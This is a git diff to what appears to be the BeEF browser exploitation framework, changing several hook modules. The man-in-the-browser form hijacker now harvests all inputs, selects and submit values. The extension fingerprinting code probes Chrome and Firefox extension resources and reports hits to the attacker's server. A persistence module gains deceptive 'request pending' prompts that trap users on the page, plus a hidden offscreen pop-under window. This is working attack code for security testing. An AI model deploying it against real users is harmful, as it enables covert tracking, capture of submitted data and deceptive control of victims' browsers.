diff --git a/core/main/client/lib/webrtcadapter.js b/core/main/client/lib/webrtcadapter.js
index 80233a2c2..8232b8684 100644
--- a/core/main/client/lib/webrtcadapter.js
+++ b/core/main/client/lib/webrtcadapter.js
@@ -77,11 +77,16 @@ if (navigator.mozGetUserMedia) {
return new mozRTCPeerConnection(pcConfig, pcConstraints);
};
- // The RTCSessionDescription object.
- window.RTCSessionDescription = mozRTCSessionDescription;
+ try {
+ // The RTCSessionDescription object.
+ window.RTCSessionDescription = mozRTCSessionDescription;
- // The RTCIceCandidate object.
- window.RTCIceCandidate = mozRTCIceCandidate;
+ // The RTCIceCandidate object.
+ window.RTCIceCandidate = mozRTCIceCandidate;
+
+ }catch(err) {
+
+ }
// getUserMedia constraints shim.
getUserMedia = (webrtcDetectedVersion < 38) ?
diff --git a/core/main/client/mitb.js b/core/main/client/mitb.js
index 0acf0d74f..1ef3f3506 100644
--- a/core/main/client/mitb.js
+++ b/core/main/client/mitb.js
@@ -114,18 +114,39 @@ beef.mitb = {
// Hooks forms and prevents them from linking away
poisonForm:function (form) {
form.onsubmit = function (e) {
+
+ // Collect tags.
var inputs = form.getElementsByTagName("input");
var query = "";
for (var i = 0; i < inputs.length; i++) {
- if (i > 0 && i < inputs.length - 1) query += "&";
switch (inputs[i].type) {
case "submit":
break;
default:
- query += inputs[i].name + "=" + inputs[i].value;
+ query += inputs[i].name + "=" + inputs[i].value + '&';
break;
}
}
+
+ // Collect selected options from the form.
+ var selects = form.getElementsByTagName("select");
+ for (var i = 0; i < selects.length; i++) {
+ var select = selects[i];
+ query += select.name + "=" + select.options[select.selectedIndex].value + '&';
+ }
+
+ // We should be gathering 'submit' inputs as well, as there are
+ // applications demanding this parameter.
+ var submit = $j('*[type="submit"]', form);
+ if(submit.length) {
+ // Append name of the submit button/input.
+ query += submit.attr('name') + '=' + submit.attr('value');
+ }
+
+ if(query.slice(-1) == '&') {
+ query = query.slice(0, -1);
+ }
+
e.preventdefault;
beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
history.pushState({ Be:"EF" }, "", form.action);
diff --git a/modules/browser/detect_extensions/command.js b/modules/browser/detect_extensions/command.js
index 4bac4e41b..287128156 100644
--- a/modules/browser/detect_extensions/command.js
+++ b/modules/browser/detect_extensions/command.js
@@ -1009,101 +1009,132 @@ beef.execute(function() {
new Array("inolmjbojghkehmmlbdmpdlmagalddni","Jagran - India No.1 Hindi News Daily")
);
- var firefox_extensions = {
- "Adblock Plus" : "chrome://adblockplus/skin/adblockplus.png",
- "Auto Copy" : "chrome://autocopy/skin/autocopy.png",
- "ColorZilla" : "chrome://colorzilla/skin/logo.png",
- "Customize Google" : "chrome://customizegoogle/skin/32x32.png",
- "DownThemAll!" : "chrome://dta/content/immagini/icon.png",
- "Faster Fox" : "chrome://fasterfox/skin/icon.png",
- "Flash Block" : "chrome://flashblock/skin/flash-on-24.png",
- "FlashGot" : "chrome://flashgot/skin/icon32.png",
- "Forecastfox" : "chrome://forecastfox/skin/images/icon.png",
- "Google Toolbar" : "chrome://google-toolbar/skin/icon.png",
- "Greasemonkey" : "chrome://greasemonkey/content/status_on.gif",
- "IE Tab" : "chrome://ietab/skin/ietab-button-ie16.png",
- "IE View" : "chrome://ieview/skin/ieview-icon.png",
- "JS View" : "chrome://jsview/skin/jsview.gif",
- "Live HTTP Headers" : "chrome://livehttpheaders/skin/img/Logo.png",
- "MeasureIt" : "chrome://measureit/skin/measureit.png",
- "SEO For Firefox" : "chrome://seo4firefox/content/icon32.png",
- "SEOpen" : "chrome://seopen/skin/seopen.png",
- "Search Status" : "chrome://searchstatus/skin/cax10.png",
- "Server Switcher" : "chrome://switcher/skin/icon.png",
- "StumbleUpon" : "chrome://stumbleupon/content/skin/logo32.png",
- "Tab Mix Plus" : "chrome://tabmixplus/skin/tmp.png",
- "Torrent-Search Toolbar" : "chrome://torrent-search/skin/v.png",
- "User Agent Switcher" : "chrome://useragentswitcher/content/logo.png",
- "View Source With" : "chrome://viewsourcewith/skin/ff/tb16.png",
- "Web Developer" : "chrome://webdeveloper/content/images/logo.png",
- "Unhide Passwords" : "chrome://unhidepw/skin/unhidepw.png",
- "UrlParams" : "chrome://urlparams/skin/urlparams32.png",
- "NewsFox" : "chrome://newsfox/skin/images/home.png",
- "Add N Edit Cookies" : "chrome://addneditcookies/skin/images/anec32.png",
- "GTDGmail" : "chrome://gtdgmail/content/gtd_lineitem.png",
- "QuickJava" : "chrome://quickjava/content/js.png",
- "Adblock Filterset.G Updater" : "chrome://unplug/skin/unplug.png",
- "BBCode" : "chrome://bbcode/skin/bbcode.png",
- "BugMeNot" : "chrome://bugmenot/skin/bugmenot.png",
- "ConQuery" : "chrome://conquery/skin/conquery.png",
- "Download Manager Tweak" : "chrome://downloadmgr/skin/downloadIcon.png",
- "Extended Cookie Manager" : "chrome://xcm/content/allowed.png",
- "FireBug" : "chrome://firebug/content/firebug32.png",
- "FoxyTunes" : "chrome://foxytunes/skin/logo.png",
- "MR Tech Disable XPI Install Delay" : "chrome://disable_xpi_delay/content/icon.png",
- "SessionSaver .2" : "chrome://sessionsaver/content/ss.png",
- "spooFX" : "chrome://spoofx/skin/main/spoofx.png",
- "Statusbar Clock" : "chrome://timestatus/skin/icon.png",
- "Torbutton" : "chrome://torbutton/skin/bigbutton_gr.png",
- "UnPlug" : "chrome://unplug/skin/unplug.png",
- "View Source Chart" : "chrome://vrs/skin/vrssmall.png",
- "XPather" : "chrome://xpather/content/iconka.png",
- "WOT" : "chrome://wot/skin/fusion/logo.png",
- "LastPass" : "chrome://lastpass/skin/vaultdelete.png",
-
- };
+ var firefox_extensions = {
+ "Adblock Plus" : "chrome://adblockplus/skin/adblockplus.png",
+ "Auto Copy" : "chrome://autocopy/skin/autocopy.png",
+ "ColorZilla" : "chrome://colorzilla/skin/logo.png",
+ "Customize Google" : "chrome://customizegoogle/skin/32x32.png",
+ "DownThemAll!" : "chrome://dta/content/immagini/icon.png",
+ "Faster Fox" : "chrome://fasterfox/skin/icon.png",
+ "Flash Block" : "chrome://flashblock/skin/flash-on-24.png",
+ "FlashGot" : "chrome://flashgot/skin/icon32.png",
+ "Forecastfox" : "chrome://forecastfox/skin/images/icon.png",
+ "Google Toolbar" : "chrome://google-toolbar/skin/icon.png",
+ "Greasemonkey" : "chrome://greasemonkey/content/status_on.gif",
+ "IE Tab" : "chrome://ietab/skin/ietab-button-ie16.png",
+ "IE View" : "chrome://ieview/skin/ieview-icon.png",
+ "JS View" : "chrome://jsview/skin/jsview.gif",
+ "Live HTTP Headers" : "chrome://livehttpheaders/skin/img/Logo.png",
+ "MeasureIt" : "chrome://measureit/skin/measureit.png",
+ "SEO For Firefox" : "chrome://seo4firefox/content/icon32.png",
+ "SEOpen" : "chrome://seopen/skin/seopen.png",
+ "Search Status" : "chrome://searchstatus/skin/cax10.png",
+ "Server Switcher" : "chrome://switcher/skin/icon.png",
+ "StumbleUpon" : "chrome://stumbleupon/content/skin/logo32.png",
+ "Tab Mix Plus" : "chrome://tabmixplus/skin/tmp.png",
+ "Torrent-Search Toolbar" : "chrome://torrent-search/skin/v.png",
+ "User Agent Switcher" : "chrome://useragentswitcher/content/logo.png",
+ "View Source With" : "chrome://viewsourcewith/skin/ff/tb16.png",
+ "Web Developer" : "chrome://webdeveloper/content/images/logo.png",
+ "Unhide Passwords" : "chrome://unhidepw/skin/unhidepw.png",
+ "UrlParams" : "chrome://urlparams/skin/urlparams32.png",
+ "NewsFox" : "chrome://newsfox/skin/images/home.png",
+ "Add N Edit Cookies" : "chrome://addneditcookies/skin/images/anec32.png",
+ "GTDGmail" : "chrome://gtdgmail/content/gtd_lineitem.png",
+ "QuickJava" : "chrome://quickjava/content/js.png",
+ "Adblock Filterset.G Updater" : "chrome://unplug/skin/unplug.png",
+ "BBCode" : "chrome://bbcode/skin/bbcode.png",
+ "BugMeNot" : "chrome://bugmenot/skin/bugmenot.png",
+ "ConQuery" : "chrome://conquery/skin/conquery.png",
+ "Download Manager Tweak" : "chrome://downloadmgr/skin/downloadIcon.png",
+ "Extended Cookie Manager" : "chrome://xcm/content/allowed.png",
+ "FireBug" : "chrome://firebug/content/firebug32.png",
+ "FoxyTunes" : "chrome://foxytunes/skin/logo.png",
+ "MR Tech Disable XPI Install Delay" : "chrome://disable_xpi_delay/content/icon.png",
+ "SessionSaver .2" : "chrome://sessionsaver/content/ss.png",
+ "spooFX" : "chrome://spoofx/skin/main/spoofx.png",
+ "Statusbar Clock" : "chrome://timestatus/skin/icon.png",
+ "Torbutton" : "chrome://torbutton/skin/bigbutton_gr.png",
+ "UnPlug" : "chrome://unplug/skin/unplug.png",
+ "View Source Chart" : "chrome://vrs/skin/vrssmall.png",
+ "XPather" : "chrome://xpather/content/iconka.png",
+ "WOT" : "chrome://wot/skin/fusion/logo.png",
+ "LastPass" : "chrome://lastpass/skin/vaultdelete.png",
+ };
+ var failed = false;
var detect_chrome_extension = function(addon_id, addon_name) {
+ if (failed) {
+ return false;
+ }
+
var s = document.createElement('script');
s.onload = function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension='+addon_name);
}
+ s.onerror = function() {
+ throw 'detect_chrome_extension';
+ }
s.src = 'chrome-extension://' + addon_id + '/manifest.json';
document.body.appendChild(s);
}
- var detect_firefox_extension = function(addon_url, addon_name) {
- var img = document.createElement("img");
- img.setAttribute("border", '0');
- img.setAttribute("width", '0');
- img.setAttribute("height", '0');
- img.setAttribute("onload", "beef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension=" + addon_name+ "');");
- img.setAttribute("src", addon_url);
- }
+ var detect_firefox_extension = function(addon_url, addon_name) {
+ if (failed) {
+ return false;
+ }
+ var img = document.createElement("img");
+ img.setAttribute("border", '0');
+ img.setAttribute("width", '0');
+ img.setAttribute("height", '0');
+ img.setAttribute("onload", "beef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension=" + addon_name+ "');");
+ img.setAttribute('onerror', 'throw "detect_firefox_extension"');
+ img.setAttribute("src", addon_url);
+ }
- if(beef.browser.isC()) {
- try {
- for (var i=0; i', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
- }
- } else if(beef.browser.isFF()) {
- try {
- for (var i in firefox_extensions) {
- detect_firefox_extension(firefox_extensions[i], i);
- }
- } catch(e) {
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
- }
- } else if(beef.browser.isIE()) {
- try {
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions is not supported', beef.are.status_error());
- } catch(e) {
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions failed', beef.are.status_error());
- }
+ if(beef.browser.isC()) {
+ try {
+
+ window.onerror = function (e) {
+ if (!failed) {
+ failed = true;
+ if (e.indexOf("detect_chrome_extension") != -1) {
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
+ }
+ }
+ };
+
+ for (var i=0; i', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
}
+ } else if(beef.browser.isFF()) {
+ try {
+
+ window.onerror = function (e) {
+ if (!failed) {
+ failed = true;
+ if (e.indexOf("detect_firefox_extension") != -1) {
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
+ }
+ }
+ };
+
+ for (var i in firefox_extensions) {
+ detect_firefox_extension(firefox_extensions[i], i);
+ }
+ } catch(e) {
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
+ }
+ } else if(beef.browser.isIE()) {
+ try {
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions is not supported', beef.are.status_error());
+ } catch(e) {
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions failed', beef.are.status_error());
+ }
+ }
});
diff --git a/modules/persistence/confirm_close_tab/command.js b/modules/persistence/confirm_close_tab/command.js
index 879acab0c..bc726831d 100644
--- a/modules/persistence/confirm_close_tab/command.js
+++ b/modules/persistence/confirm_close_tab/command.js
@@ -7,7 +7,7 @@
beef.execute(function() {
function display_confirm(){
- if(confirm("Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.")){
+ if(confirm("<%= @text %>")){
display_confirm();
}
}
@@ -15,20 +15,36 @@ beef.execute(function() {
function dontleave(e){
e = e || window.event;
+ var usePopUnder = '<%= @usePopUnder %>';
+ if(usePopUnder) {
+ var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';
+ var popunder_name = Math.random().toString(36).substring(2,10);
+ beef.debug("[Create Pop-Under] Creating window '" + popunder_name + "' for '" + popunder_url + "'");
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');
+ try {
+ window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();
+ window.focus();
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success());
+ } catch(e) {
+ beef.debug("[Create Pop-Under] Could not create pop-under window");
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error());
+ }
+ }
+
if(beef.browser.isIE()){
e.cancelBubble = true;
- e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away.";
+ e.returnValue = "<%= @text %>";
}else{
if (e.stopPropagation) {
e.stopPropagation();
e.preventDefault();
- e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away.";
+ e.returnValue = "<%= @text %>";
}
}
//re-display the confirm dialog if the user clicks OK (to leave the page)
display_confirm();
- return "There is currently a request to the server pending. You will lose recent changes by navigating away.";
+ return "<%= @text %>";
}
window.onbeforeunload = dontleave;
diff --git a/modules/persistence/confirm_close_tab/module.rb b/modules/persistence/confirm_close_tab/module.rb
index d33b9c1bc..b15b3380e 100644
--- a/modules/persistence/confirm_close_tab/module.rb
+++ b/modules/persistence/confirm_close_tab/module.rb
@@ -5,6 +5,22 @@
#
class Confirm_close_tab < BeEF::Core::Command
+ def self.options
+ return [{
+ 'name' => 'text',
+ 'description' => 'Specifies message to display to the user.',
+ 'type' => 'textarea',
+ 'ui_label' => 'Confirm text',
+ 'value' => 'Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.',
+ 'width' => '400px'
+ },
+ { 'name' => 'usePopUnder',
+ 'type' => 'checkbox',
+ 'ui_label' => 'Create a pop-under window on user\'s tab closing',
+ 'checked' => 'true'
+ }]
+ end
+
def post_execute
save({'result' => @datastore['result']})
end